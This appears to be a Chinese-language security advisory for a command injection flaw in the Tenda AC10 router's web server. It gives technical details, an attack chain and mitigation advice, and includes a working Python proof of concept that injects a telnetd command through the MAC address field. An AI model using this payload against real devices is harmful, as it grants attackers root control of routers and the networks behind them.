IPBUF安全漏洞报告
English
CVE-2026-5547 CVSS 6.3 中危

CVE-2026-5547 Tenda AC10操作系统命令注入漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2026-5547
漏洞类型
操作系统命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC10

相关标签

命令注入Tenda路由器IoT安全RCE

漏洞概述

Tenda AC10路由器在特定版本中存在操作系统命令注入漏洞。该漏洞源于/bin/httpd文件内的formAddMacfilterRule函数未正确过滤用户输入。攻击者可通过网络发送特制数据包,利用该漏洞远程执行任意系统命令。由于无需用户交互且仅需低权限,攻击者可轻易接管设备,导致信息泄露或服务中断。

技术细节

该漏洞技术细节主要涉及Tenda AC10路由器Web服务器组件/bin/httpd中的输入验证缺失。具体而言,当处理来自/goform/AddMacfilterRule接口的HTTP POST请求时,程序调用了formAddMacfilterRule函数。该函数在获取用户提交的MAC地址等参数后,直接将其拼接至系统命令字符串中,并调用system()函数执行,完全未对特殊字符进行过滤或转义。攻击者可以利用Shell元字符(如`;`、`|`、`&`或反引号)切断原有命令逻辑,注入并执行任意恶意指令。鉴于Web服务进程通常以root权限运行,成功利用此漏洞将允许攻击者在目标设备上获得最高权限,从而完全控制设备,窃取敏感网络流量或植入持久化后门。

攻击链分析

STEP 1
侦察
攻击者扫描网络或互联网,寻找开放Web管理界面的Tenda AC10路由器。
STEP 2
构造攻击载荷
攻击者编写Python脚本或使用curl工具,构造包含恶意Shell命令的POST请求数据包。
STEP 3
发送漏洞利用请求
将构造好的恶意数据包发送至目标路由器的/goform/AddMacfilterRule接口。
STEP 4
命令执行
路由器/bin/httpd进程接收到请求,在未过滤的情况下执行注入的命令,开启后门或执行破坏性操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_ip): # Target endpoint for the vulnerable function url = f"http://{target_ip}/goform/AddMacfilterRule" # Headers to mimic a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Payload injecting a command to restart telnet (Example) # The semicolon (;) is used to break out of the intended command context payload_data = { "mac": "00:11:22:33:44:55; telnetd -p 2323 &", "deviceId": "1" } try: print(f"[+] Sending payload to {target_ip}...") response = requests.post(url, data=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully. Check if telnet is running on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit(target)

影响范围

Tenda AC10 16.03.10.10_multi_TDE01

防御指南

临时缓解措施
建议用户立即访问Tenda官方网站下载并安装最新的安全补丁。在无法立即升级的情况下,应通过ACL限制仅允许可信的内网IP访问路由器管理后台,并关闭远程管理功能,以降低被远程攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表